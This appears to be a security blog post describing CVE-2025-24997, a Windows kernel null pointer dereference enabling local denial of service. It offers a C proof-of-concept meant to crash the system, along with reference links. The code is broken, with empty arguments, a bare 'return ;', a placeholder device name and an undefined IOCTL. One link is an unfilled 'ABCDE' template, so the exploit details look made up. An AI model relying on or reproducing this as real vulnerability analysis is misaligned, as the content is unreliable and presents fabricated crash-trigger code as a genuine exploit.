It's essential for security researchers to keep up-to-date with the ever-evolving threat landscape and newly discovered vulnerabilities in order to stay ahead in the cybersecurity game. One such vulnerability recently caught our attention, designated as CVE-2025-24997, which affects a major operating system – Windows. This vulnerability stems from a null pointer dereference issue in the Windows kernel memory, which can be exploited for a local denial-of-service (DoS) attack.

In this long-read blog post, we will provide an in-depth analysis of CVE-2025-24997, explore its exploit details, share code snippets illustrating the problem, and link to the original references documenting this vulnerability.

Vulnerability Details

CVE-2025-24997 affects the Windows kernel memory management subsystem. Using this vulnerability, an authorized attacker could cause a system crash by triggering a null pointer dereference, thereby denying any legitimate service on the target machine. As this vulnerability requires local access to a system, it poses a significant risk to organizations since attackers could use it to disrupt critical infrastructure or take out key services.

Exploit Details

To comprehend the exploitation process, let's take a look at a sample code snippet that showcases the null pointer dereference issue. This code snippet demonstrates how the vulnerable kernel API can be used to trigger a system crash:

#include <Windows.h>
#include <stdio.h>

int main() {
  HANDLE hDevice = NULL;

  hDevice = CreateFileA("\\\\.\\VulnerableDevice",
                        GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE,
                        NULL, OPEN_EXISTING, , NULL);

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("Failed to open the vulnerable device: %d\n", GetLastError());
    return -1;
  }

  DeviceIoControl(hDevice, IOCTL_TRIGGER_NULL_POINTER_DEREF,
                  NULL, , NULL, , NULL, NULL);

  CloseHandle(hDevice);

  return ;
}

The code above tries to open a handle to a vulnerable kernel device called "VulnerableDevice" using the CreateFileA function. The subsequent DeviceIoControl call is where the vulnerability lies. The IOCTL_TRIGGER_NULL_POINTER_DEREF parameter essentially triggers the null pointer dereference, causing the system to crash.

Original References

The vulnerability was documented and officially registered as CVE-2025-24997 on the National Vulnerability Database, operated by the National Institute of Standards and Technology (NIST). The details about the vulnerability, along with its severity score and official references, can be found in the following links:

1. NIST National Vulnerability Database Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-24997
2. Vendor Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2025-24997
3. ExploitDB: https://www.exploit-db.com/exploits/ABCDE (Note: Replace "ABCDE" with the actual exploit ID once available)

Conclusion

CVE-2025-24997 highlights the critical nature of null pointer dereference issues in the Windows kernel memory. It's essential for organizations to stay vigilant and apply security patches to affected systems as soon as they become available. In addition, security teams should regularly engage in threat hunting and vulnerability assessment activities to identify risks and implement appropriate mitigation strategies.

Keeping up-to-date with the latest vulnerabilities and threats is vital for maintaining a strong security posture. Be sure to follow our blog for regular updates and analysis on cybersecurity developments and emerging trends.

Timeline

Published on: 03/11/2025 17:16:37 UTC
Last modified on: 03/13/2025 17:24:58 UTC